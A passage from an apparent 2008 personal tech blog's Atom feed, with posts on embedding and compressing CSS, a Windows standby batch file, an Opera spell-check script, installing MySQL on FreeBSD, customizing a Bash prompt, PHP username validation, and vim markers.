KUqSpE/guqgubpXEJ3yl0t7yFp6YDqie5X1QtaHpeU3VYQzE/Ysx+KF8OGDRuYO3duR03dnUzTZP/+/Yy4MIXswRAJw9kqaDwPug7DRkB6zldQFB0QRNpRi451sHaCDpYiKZ5CUFKid0RJUrwKmBcwjSock6NXVq5cycKFC3sELSKcOHEC9o5lzNWgKGBaYJmgqqDpWaANT7BpRyn/T45yJxc6zWUkBNFXIUq0JS2TFdCy0dQUWrZFrzzxxBNYlpXMoLO1ohCJRAi2gdgmmmMgujMLzZEBWm4XNm64asL5C2/ppzpBWxaCdZ6e1d0qOEaSmg4H1t/KyZMne7SeIbo8fvnQDyEWyXEVaMPAkQ+OAqKPvLv6tg6yhxaO7LQRdR0FxUPPf9DoKIqLwry30J09e59pGAbPPPMMxrmPcHlA1VIAd1zM7mIrnbOH0wWoqaBIz8AVFdDR9SD7X3Ay6b5Il3WJiGAYBjU1NQwfPhyAJ28DtxcUxWP76UYCYBBoqfbH93aqKmBUgFkHErQXXDfr1A7oG2Dy6l+X0dDQQFtbG62trdTV1XH8+HFmzZqF0+nsAAbIGwjOlJh9kuUogAhIiHCowlKKDnm819enxkZaA1JME1TVAqsyerpoKoriAjJAzQRFB0WzvSn2F7IwTTAj8O7qh/je4oe6HzXA5wUjDEgo2nBd9KmEwWxHpJnaygZ5chk3vriDY0Qfmxnx0NojT3FjSRH/SsvC6XajeFMtPJ4Abm8Ab2oNuhNULd3O4xbQgmkEaayH1mbQe/Gj3DChuRHSGtrwDahAwRMdXCtIOBTg03Jh54d8uHg1PyX6Xsdht44wTsAT19wOB6k/mMbsCQXcMzCb/AHZqANzIGsQeL2gKmAKNDXCuUqoqoAHX2ZHdSObib7BDRB9CRQEwkCEaDE/DBi77E4WFI3Hm5ML6Wmg6WCaUF8HNRXI0n+yYMdJTtl+4ltbDFojuoU99mdiczk1PI/M5p6iq7g5KxvN5Youx2AQzlVhPv8WC3dXUkE00VtcXKgKYNpT2+FvagEjHriJZ33ZKM4UUDUItcNnn+F/4BXmN4Votn2127Cxz5b4CXXEQbviWordnHYfLc9H6vev5dtDfExoDVK57B2WnffTSvQfUmL/mBLzbdh28f6cgHP4QHzzruFbOV5GmCpyoII3/7GPXfbMxHwF4+BbACNxFapx0PGwut00u0/MLpZeDHv6Y8FCdhAzzo8rBmv7cti+1DhfZhJfAcBv90majNW4QLEADhtaibMTO1AsWNiGDXExVyoJvvQ4XzF/8Y96TRs6YvsK2tc61JP9rthfIjYy8dCxILHP7s5/JQ62q1kz41rSA+J/WN4SoyD5WZkAAAAASUVORK5CYII=&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;If you right click on it or view the source you will see that it is not linked to any url the entire picture is embedded within the HTML.&lt;/p&gt;

&lt;p&gt;Do you think this technology will catch on?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Embed CSS in Your HTML for Faster Load Times</title>
		<link href="https://www.marksanborn.net/howto/embed-css-in-your-html-for-faster-load-times/index.html" />
		<updated>2008-06-24T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/embed-css-in-your-html-for-faster-load-times/index.html</id>
		<content type="html">&lt;p&gt;Most web designers know that reduced server requests equals faster load times.  I got to thinking and I was wondering why is CSS always in a seperate file from regular HTML?  Usually it is in a different file because you don&amp;rsquo;t want to make a ton of changes in individual files.  Rather you would want to make one change in a .css file and have it change every page of your site; however, with PHP we can embed CSS into our HTML and still have only one file to make our changes.&lt;/p&gt;

&lt;p&gt;PHP has a function called include.  What it does it include anything in a text file and add it to the current file.  This allows us to actually embed the css into our HTML pages reducing the server requests thus faster load times.  It also allows us to maintain only one file that will make site wide changes.  Thus completely eliminating the need for CSS to be in a seperate file from our HTML.&lt;/p&gt;

&lt;p&gt;I have thought about it for awhile and I don&amp;rsquo;t see any reason to keep css in a seperate file.  After looking at Google&amp;rsquo;s source code I found that they do this exact thing.  They don&amp;rsquo;t point to a seperate css file.  Rather they embed the CSS into their HTML.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; After doing some research based on some of the comments I received I found &lt;a href=&#34;http://developer.yahoo.net/blog/archives/2007/07/rule_8_make_jav.html&#34;&gt;this article&lt;/a&gt; written by the Steve Souders, who is Yahoo&amp;rsquo;s Chief Performance guy.  The conclusion is that embedding your CSS in HTML is only beneficial if you have a page that is typically loaded only once per session.  This explains why Google uses this method.  On a blog type site most of the page are the same and will benefit from external CSS rather than embedding into HTML.&lt;/p&gt;

&lt;p&gt;He goes on to say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;One such technique is to inline JavaScript and CSS in the front page, but dynamically download the external files after the page has finished loading. Subsequent pages would reference the external files that should already be in the browser&amp;rsquo;s cache.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you want to make your sites optimized like the kings of optimization (google) then all you have to do is&amp;hellip;&lt;/p&gt;

&lt;h3&gt;Embedding CSS into your HTML&lt;/h3&gt;

&lt;p&gt;To embed CSS into your HTML with PHP all you have to do is replace your current css call:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&amp;quot;text/css&amp;quot; media=&amp;quot;screen&amp;quot;&amp;gt;
&amp;lt;!-- @import url( &amp;lt;?php bloginfo(&#39;stylesheet_url&#39;); ?&amp;gt; ); --&amp;gt;
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;With:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&amp;quot;text/css&amp;quot; media=&amp;quot;screen&amp;quot;&amp;gt;
&amp;lt;?php include(&#39;style.css&#39;); ?&amp;gt;&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This of course will require your server to run PHP.  If you use ASP you will have to use the ASP include function and ASP syntax.&lt;/p&gt;

&lt;p&gt;Note: If your CSS file points to relative paths for images you may have to fix them for this to work.&lt;/p&gt;

&lt;p&gt;Do you &lt;a href=&#34;/howto/compress-your-css-files/&#34;&gt;compress your CSS&lt;/a&gt; and embed it?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Auto Standby your Computer</title>
		<link href="https://www.marksanborn.net/howto/auto-hibernate-your-computer/index.html" />
		<updated>2008-06-23T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/auto-hibernate-your-computer/index.html</id>
		<content type="html">&lt;p&gt;There are a few different states you can put your computer into when you are not using it.  If you don&amp;rsquo;t run any other services that require networking I recommend turning your computer off via standby.  It will essentially put your computer into a ultra low power state only using enough power to keep the current state in ram.  If you have a significant amount of ram 2gb or more you can easily put your computer in and out of standby mode in a matter of seconds.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Why Standby?&lt;/h3&gt;

&lt;p&gt;Many people shy away from turnin their computers off because of long boot times and startup load times.  Even after &lt;a href=&#34;/howto/startup-programs-and-removing-them/&#34;&gt;removing startup programs&lt;/a&gt; computers will sometimes boot slow.  However, if you turn your computer off you can reap some huge savings on energy costs.  My computer pulls about 280 watts when ideling.  Not even counting the monitor.  You can save several dollars a month not running your computer &lt;sup&gt;24&lt;/sup&gt;&amp;frasl;&lt;sub&gt;7&lt;/sub&gt;.&lt;/p&gt;

&lt;p&gt;With standby we can essentially shut our computers down without the inconvience of slow boot and load times.  My computer can enter a hibernated state in 2.45 seconds and recover back to a normal state in ~10.5 seconds.  On machines with less ram you will have significantly more load time.&lt;/p&gt;

&lt;h3&gt;Making a standby shortcut&lt;/h3&gt;

&lt;p&gt;To make a shortcut for standby go to &lt;strong&gt;start&lt;/strong&gt; click &lt;strong&gt;run&lt;/strong&gt; and type notepad.  Then copy the following code and paste it in your text file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;RUNDLL32.EXE PowrProf.dll,SetSuspendState&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After pasting the code click file save as.  Then navigate to your desktop and save the file as, &amp;ldquo;standby.bat&amp;rdquo; (include the quotes).  If you forget the quotes you will have a file called standby.bat.txt.&lt;/p&gt;

&lt;p&gt;Once you create the bat file you can put your computer in standby mode by just double clicking the newly created bat file.&lt;/p&gt;

&lt;h3&gt;Setting up a scheduled standby&lt;/h3&gt;

&lt;p&gt;Once you create your .bat file you may wish to put your computer in standby at a secific time.  Maybe 5:30pm (when you leave) on a work computer or 12:00am (when you go to bed) on your home computer.&lt;/p&gt;

&lt;p&gt;You can then set it to standby at a set time through windows task scheduler.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start&lt;/strong&gt; &amp;gt; &lt;strong&gt;All Programs&lt;/strong&gt; &amp;gt; &lt;strong&gt;Accessories&lt;/strong&gt; &amp;gt; &lt;strong&gt;System Tools&lt;/strong&gt; &amp;gt; &lt;strong&gt;Scheduled Tasks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From there just click through the wizard, select the bat file, and then choose an appropriate time for standby to begin.&lt;/p&gt;

&lt;p&gt;You can also turn on automatic standby when your computer goes to idle through the power settings in the control panel, but I don&amp;rsquo;t prefer this method as I may have a download going when I am not using my computer and I don&amp;rsquo;t want it to be interupted.  I find the scheduled standby task is best for me.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Compress your CSS Files</title>
		<link href="https://www.marksanborn.net/howto/compress-your-css-files/index.html" />
		<updated>2008-06-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/compress-your-css-files/index.html</id>
		<content type="html">&lt;p&gt;Almost all websites are now utilizing CSS (Cascading Style Sheets) as their main tool for website design and layout.  Often times these files get large.  Many programmers like to add additional tags to fix small portions of their site in CSS files rather than rewriting the CSS file.  These types of CSS files over time can be come quite large.  The larger the CSS file the longer our users will have to wait to load up our page.  What can we do about it?  We can compress CSS which allows for a much faster load time and uses less bandwidth.&lt;/p&gt;

&lt;h3&gt;Why compress?&lt;/h3&gt;

&lt;p&gt;Compressing CSS files allows for a faster load time for our visitors.  When surfing the Internet people tend to be very impatient when it comes to load times.  Since they have so much information at their finger tips if they don&amp;rsquo;t find what they are searching for in mere seconds they will turn around and look elsewhere.&lt;/p&gt;

&lt;p&gt;Still not convinced?  Go ahead and navigate to &lt;a href=&#34;http://www.google.com&#34;&gt;Google.com&lt;/a&gt; and take a look at their HTML source code.  Google not only compresses their CSS, they also compress their HTML.  In addition they combine their CSS and HTML into one file so there are less requests to the server.  If it&amp;rsquo;s good for Google it&amp;rsquo;s good enough for me.  After all, the speed of Google and their minimalist approach to web search is what gave them the jump when they first started.&lt;/p&gt;

&lt;h3&gt;How to compress&lt;/h3&gt;

&lt;p&gt;To compress your CSS files you will need to &lt;a href=&#34;http://csstidy.sourceforge.net/download.php&#34;&gt;download CSS tidy&lt;/a&gt;.  I usually use the executable if I am on a Windows system.&lt;/p&gt;

&lt;p&gt;Then to compress to the highest level possible use this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;csstidy style.css --template=highest compressedStyle.css&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can check out other options and usage &lt;a href=&#34;http://csstidy.sourceforge.net/usage.php&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Hey, my CSS isn&amp;rsquo;t very human readable!&lt;/h3&gt;

&lt;p&gt;Due to the nature of compression it will be hard to read your CSS file because it strips out whitespace and tabs.  If you save a copy of the &lt;strong&gt;style.css&lt;/strong&gt; as &lt;strong&gt;style.css.beforeCompression&lt;/strong&gt; prior to compressing, you will be able to make your changes to the &lt;strong&gt;style.css.beforeCompression&lt;/strong&gt; file and then re-compress it and save the compressed copy as &lt;strong&gt;style.css&lt;/strong&gt; over the old compressed CSS file.  This allows you to have the speed of a compressed CSS file and be able to retain your readable code.&lt;/p&gt;

&lt;p&gt;If you have a large CSS file compression can save you a lot of visitors from hitting their back buttons.  It also shows that you have taken the time to consider your users.  Whether they know you are using compression techniques or not I am sure they will appreciate the snappier load times.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>In-line Spell Checking with Opera</title>
		<link href="https://www.marksanborn.net/howto/in-line-spell-checking-with-opera/index.html" />
		<updated>2008-06-16T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/in-line-spell-checking-with-opera/index.html</id>
		<content type="html">&lt;p&gt;I love Opera and I am excited to be using the latest version &lt;a href=&#34;http://www.opera.com/&#34;&gt;Opera 9.5&lt;/a&gt; that came out just a few days ago.  With the new features, fixes, and new &lt;a href=&#34;http://www.opera.com/products/dragonfly/&#34;&gt;Dragonfly Webdeveloper Tool&lt;/a&gt; I believe that Opera is pulling away from the competiton and has always been in my opinion faster and better than Firefox or other browsers.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;The only feature that I miss about Firefox was the in-line spell checking.  Sure Opera has spell checking built into the browser but it doesn&amp;rsquo;t highlight mispelled words and it can be difficult to spell check a large document as you never know which word in the document it is trying to correct.  I will be the first to admit that Firefox&amp;rsquo;s spellcheck system is much more intuitive and easier to use.&lt;/p&gt;

&lt;p&gt;This is a small flaw that I have found that I don&amp;rsquo;t like about Opera but it isn&amp;rsquo;t enough for me to switch to Firefox or even worse, Internet Explorer.  After doing a quick search I found a &lt;a href=&#34;http://opera.gt500.org/ospell/ospell.js&#34;&gt;great script&lt;/a&gt; that will add in-line spell checking to Opera in about 30 seconds.&lt;/p&gt;

&lt;h3&gt;Installing the script&lt;/h3&gt;

&lt;p&gt;First we need to make a folder that stores the script and any other script we may use in the future.  I like to use the Opera directory to store my scripts so I always know where they are.  This also makes sense because if I remove Opera in the future my scripts will also be removed.  Create a folder called &amp;lsquo;&lt;strong&gt;UserJS&lt;/strong&gt;&amp;rsquo; here:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;OperaDefaultPath\Opera\program\plugins\&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually it is:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;C:\Program Files\Opera\program\plugins&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then download the &lt;a href=&#34;http://opera.gt500.org/ospell/ospell.js&#34;&gt;OSpell script&lt;/a&gt; to add the in-line spell checking.  Save the file in the newly created folder, &amp;lsquo;&lt;strong&gt;UserJS&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;After you have saved the script we need to tell Opera where to look for it.&lt;/p&gt;

&lt;p&gt;Go to &lt;strong&gt;Tools&lt;/strong&gt; &amp;gt; &lt;strong&gt;Preferences&lt;/strong&gt; &amp;gt; &lt;strong&gt;Advanced&lt;/strong&gt; &amp;gt; &lt;strong&gt;JavaScript Options&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Where is says &lt;strong&gt;User JavaScript Files&lt;/strong&gt; click &lt;strong&gt;Choose&lt;/strong&gt; and point to the folder we created (&amp;rsquo;&lt;strong&gt;UserJS&lt;/strong&gt;&amp;rsquo;).&lt;/p&gt;

&lt;p&gt;Save your settings and restart Opera.  You will now have a nice in-line spell check button at the bottom of every text area form.  In order for the button to show up you will have to click in the text area.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/06/opera-spell-check-button.jpg&#34; alt=&#34;Opera Spell Check Button&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/06/opera-spell-check-drop-down.jpg&#34; alt=&#34;Opera-Spell-Check&#34; /&gt;&lt;/p&gt;

&lt;p&gt;I am not sure why Opera hasn&amp;rsquo;t come up with a better solution for spell checking.  They are usually ahead of the game when it comes to new features.  Thankfully I found a script that added the in-line spell checking.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 12</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-12/index.html" />
		<updated>2008-06-14T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-12/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.cssdrive.com/index.php/main/csscompressor/&#34;&gt;CSS Compressor&lt;/a&gt; - A cool script that will compress your css files.  Most of my files were compressed by 20% or more.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://csstidy.sourceforge.net/&#34;&gt;CssTidy&lt;/a&gt; - I found this shortly after cssdrive&amp;rsquo;s script and thought it was much better at compressing.  Both of them are worth checking into.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/opera-logo.png&#34; alt=&#34;Opera 9.5&#34; /&gt;&lt;a href=&#34;http://my.opera.com/community/blog/opera-9-5&#34;&gt;Opera 9.5 is Released!&lt;/a&gt; - I have been using the beta release for awhile now and I LOVE it.  The final release is now out and filled with new features.  &amp;ldquo;Opera continues to lead in performance. Opera 9.5 makes dramatic speed improvements to the e-mail client, RSS feeds and the browser itself, so you can spend more time getting things done online.&amp;rdquo;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.opera.com/products/dragonfly/&#34;&gt;Opera Dragonfly - The Webdevelopment suite for Opera&lt;/a&gt; - This basically works like firebug for firefox.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.dria.org/wordpress/archives/2008/06/12/655/&#34;&gt;Field Guide to Firefox 3&lt;/a&gt; - I personally like Opera at the moment, but firefox is making a lot of improvements to their newest beta release.  Check out this article for a complete guide on whats happening with the up and comming Firefox release.  I personally don&amp;rsquo;t like the new look of firefox&amp;rsquo;s forward and back button.  I think it looks way too similar to IE7.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://sixrevisions.com/tools/faster_web_page/&#34;&gt;15 Tools to Help You Develop Faster Web Pages&lt;/a&gt; - A nice list of tools to help with rapid web development.  I use some of these tools myself.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://lifehacker.com/393084/how-to-recover-deleted-files-with-free-software&#34;&gt;How to Recover Deleted Files with Free Software&lt;/a&gt; - See what is actually stored on your hard drive even after you delete it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.washingtonpost.com/securityfix/2008/06/ransomware_encrypts_victim_fil.html?nav=rss_blog&#34;&gt;Ransomware Encrypts Victim Files With 1024-Bit Key&lt;/a&gt; - Viruses are now encrypting files with 1024 bit keys requesting ransom for your files.  Talk about a destructive virus.  With current technology there is no way to reverse the encryption without the key.  Be very careful and make a backup of your data.  I have a feeling we will start to see more of these types of viruses in the future.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Installing Mysql 5.1 on FreeBSD 7.0</title>
		<link href="https://www.marksanborn.net/freebsd/installing-mysql-51-on-freebsd-70/index.html" />
		<updated>2008-06-12T00:00:00Z</updated>
		<id>https://www.marksanborn.net/freebsd/installing-mysql-51-on-freebsd-70/index.html</id>
		<content type="html">&lt;p&gt;Well we all love Mysql and a lot of times it is the first things we install on a server.  I recently installed it on my &lt;a href=&#34;http://www.freebsd.org/&#34;&gt;FreeBSD 7.0&lt;/a&gt; server and it went pretty smooth.  You can install mysql from the FreeBSD Ports Collection.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/06/bsdmysql.png&#34; alt=&#34;BSD and Mysql&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /usr/ports/databases/mysql51-server
make install clean&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then you will have to wait until the package builds itself from source.  This may take some time so feel free to browse around the rest of the blog or grab a bite to eat.&lt;/p&gt;

&lt;p&gt;Once that is done you will want to use mysql&amp;rsquo;s install script to get you up and running:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/local/bin/mysql_install_db&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Make the mysql directory owned by the user, &amp;lsquo;&lt;strong&gt;mysql&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chown -R mysql /var/db/mysql/
chgrp -R mysql /var/db/mysql/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Run mysql as the &amp;lsquo;&lt;strong&gt;mysql&lt;/strong&gt;&amp;rsquo; user.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/local/bin/mysqld_safe –user=mysql&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then you will want to set the Mysql root password:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/local/bin/mysqladmin -u root password YoUrPaSSwoRd&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Start Mysql on Boot&lt;/h3&gt;

&lt;p&gt;You will probably want Mysql to start on boot.  To enable Mysql on boot you will need to add a line to your rc.conf file.  I used my favorite text editor &lt;a href=&#34;http://www.vim.org&#34;&gt;vim&lt;/a&gt; to edit it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim /etc/rc.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then add the following lines near the bottom:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# Enable Mysql
mysql_enable=&amp;quot;YES&amp;quot;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Thats it!  You should have a working installation of mysql and have it configured to load up on boot.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Set Up BASH PS1 and Colors for Dreamhost</title>
		<link href="https://www.marksanborn.net/linux/set-up-bash-ps1-and-colors-for-dreamhost/index.html" />
		<updated>2008-06-11T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/set-up-bash-ps1-and-colors-for-dreamhost/index.html</id>
		<content type="html">&lt;p&gt;The PS1 is the text that you see to the left on the command prompt.  Often times it will read something like, mark@debian~/$.  This text reveals a lot of relevent information.  The first part, &amp;lsquo;mark&amp;rsquo; tells us the username.  The &amp;lsquo;&lt;strong&gt;@debian&lt;/strong&gt;&amp;rsquo; tells us that the machine&amp;rsquo;s name is &amp;lsquo;&lt;strong&gt;debian&lt;/strong&gt;&amp;rsquo;.  The &amp;lsquo;&lt;strong&gt;~/&lt;/strong&gt;&amp;rsquo; is the current working directory and the &amp;lsquo;&lt;strong&gt;$&lt;/strong&gt;&amp;rsquo; means that we are using a non-root user.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;The problem with &lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt; is that their default shell only contains a bare minimum PS1 without colors.  The default Dreamhost shell only contains the hostname.  Without having the working directory in the PS1 we would have to type, &amp;lsquo;&lt;strong&gt;pwd&lt;/strong&gt;&amp;rsquo; to know which directory we are in.  This is incredibly annoying and this is one of the first things I change.  The other thing I do is add colors to the &amp;lsquo;&lt;strong&gt;ls&lt;/strong&gt;&amp;rsquo; command.  This  makes it easier for us to distinguish between files and folders.&lt;/p&gt;

&lt;h3&gt;Editing the .bash_profile&lt;/h3&gt;

&lt;p&gt;To edit .bash_profile you open it up in your favorite text editor, mine is &lt;a href=&#34;http://www.vim.org/&#34;&gt;vim&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim ~/.bash_profile&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will open the the text file, &amp;lsquo;.bash_profile&amp;rsquo;.  On &lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt; the default file will only contain two lines:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# ~/.bash_profile: executed by bash(1) for login shells.
umask 002&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Below this line is where we will make our modifications to our bash profile that will give us colors and a more descriptive PS1.&lt;/p&gt;

&lt;p&gt;I am used to using the default Debian colored PS1.  Since &lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt; uses debian it makes sense to me to change this to:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PS1=&#39;${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ &#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can also &lt;a href=&#34;/linux/adding-color-and-customize-the-bash-prompt-ps1/&#34;&gt;customize the PS1 colors of the bash prompt&lt;/a&gt; to your own preference.&lt;/p&gt;

&lt;p&gt;This will give you a nice green prompt with username@host:/current/path$ syntax.  This will allow us to easily see which directory we are working in without having to type &amp;lsquo;&lt;strong&gt;pwd&lt;/strong&gt;&amp;rsquo; all the time.&lt;/p&gt;

&lt;h3&gt;Adding color for directory listing&lt;/h3&gt;

&lt;p&gt;To add color to the &amp;lsquo;&lt;strong&gt;ls&lt;/strong&gt;&amp;rsquo; command you will need to add this to your &amp;lsquo;&lt;strong&gt;.bash_profile&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;if [ &amp;quot;$TERM&amp;quot; != &amp;quot;dumb&amp;quot; ]; then
    eval &amp;quot;&lt;/code&gt;dircolors -b&lt;code&gt;&amp;quot;
    alias ls=&#39;ls --color=auto&#39;
fi&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will first check to see if the terminal supports colors and then map an alias to ls.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Validating Usernames with PHP</title>
		<link href="https://www.marksanborn.net/uncategorized/validating-usernames-with-php/index.html" />
		<updated>2008-06-10T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/validating-usernames-with-php/index.html</id>
		<content type="html">&lt;p&gt;Improperly validating user input has become a common scenario in security exploits these days.  Recently there was a &lt;a href=&#34;http://www.phoboslab.org/log/2008/06/how-i-hacked-digg&#34;&gt;flaw in the way digg sanitized user input&lt;/a&gt; allowing the hacker to have his articles auto dugg.  Although it took digg awhile to fix the issue, it is now resolved.  The problem is that these types of attacks are becoming more common.  Websites these days are rapidly evolving and changing.  Programmers are pressured into producing working code in the shortest amount of time leaving room for security flaws to be left un checked.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;As a PHP developer or even a guy that modifies PHP code from time to time, it is important to always validate user input.  This is also called sanitizing input.  This function will properly validate usernames.&lt;/p&gt;

&lt;h3&gt;The Function&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;function cleanUsername($string) {
     if (preg_match(&#39;/^[a-z\d_]{4,28}$/i&#39;, $string)) { 
     echo $string;
     } else {
     return false;
     }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The following function will check to see if the username is comprised of only &amp;lsquo;&lt;strong&gt;a-z&lt;/strong&gt;&amp;rsquo;, &amp;lsquo;&lt;strong&gt;0-9&lt;/strong&gt;&amp;rsquo;, and &amp;lsquo;&lt;strong&gt;_&lt;/strong&gt;&amp;rsquo;.  If the username is malformed it will return false.&lt;/p&gt;

&lt;p&gt;You can also validate &lt;a href=&#34;/php/validating-telephone-numbers-with-php/&#34;&gt;telephone numbers&lt;/a&gt;, &lt;a href=&#34;/php/validating-an-ip-address-with-php/&#34;&gt;ip addresses&lt;/a&gt;, and &lt;a href=&#34;/php/using-php-to-accept-only-numbers-from-user-input/&#34;&gt;zipcodes&lt;/a&gt;.  Remember everything that a user can submit should be validated/sanitized.  This goes for search boxes, passwords, zip codes, usernames, email addresses, comments, etc.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using Markers in Vim</title>
		<link href="https://www.marksanborn.net/software/using-markers-in-vim/index.html" />
		<updated>2008-06-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/using-markers-in-vim/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.vim.org/&#34;&gt;Vim&lt;/a&gt; is a powerful text editor that pretty much rivals anything out there.  Once you get used to the commands and hotkeys you can wiz through config files.  Vim is also very popular for programming, not only for its productivity reasons but also because it incorporates syntax highlighting, aliases, code folding, line numbers, and more.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;It also makes perfect sense to &lt;a href=&#34;/software/modify-remote-files-with-vims-built-in-ftp-plugin/&#34;&gt;use vim when editing remote files&lt;/a&gt; for two reasons.  The first being that vim can connect remotely through FTP, SFTP, or SCP.  The second is because vim is almost always installed by default on Linux systems.  This means if you have SSH access to your web host you will be able to modify files with vim directly through SSH.&lt;/p&gt;

&lt;p&gt;Today we are going to discuss vim markers.&lt;/p&gt;

&lt;p&gt;Markers are like little bookmarks within your text files allowing you to jump around your document/code.  Since vim uses modes and pretty much any action can be incorporated we can also use markers to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Flip back and fourth through text&lt;/li&gt;
&lt;li&gt;Delete large chunks of text&lt;/li&gt;
&lt;li&gt;Copy/Cut large chunks of text&lt;/li&gt;
&lt;li&gt;Paste large chunks of text&lt;/li&gt;
&lt;li&gt;Marking code for folding&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Usage&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;mk (set marker to k, You can use up to 26 markers a-z&lt;/li&gt;
&lt;li&gt;&amp;lsquo;k move to the begging of the line of marker location &amp;lsquo;k&amp;rsquo;&lt;/li&gt;
&lt;li&gt;`k move to marker &amp;lsquo;k&amp;rsquo;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Examples&lt;/h3&gt;

&lt;h4&gt;Flip back and fourth through Text&lt;/h4&gt;

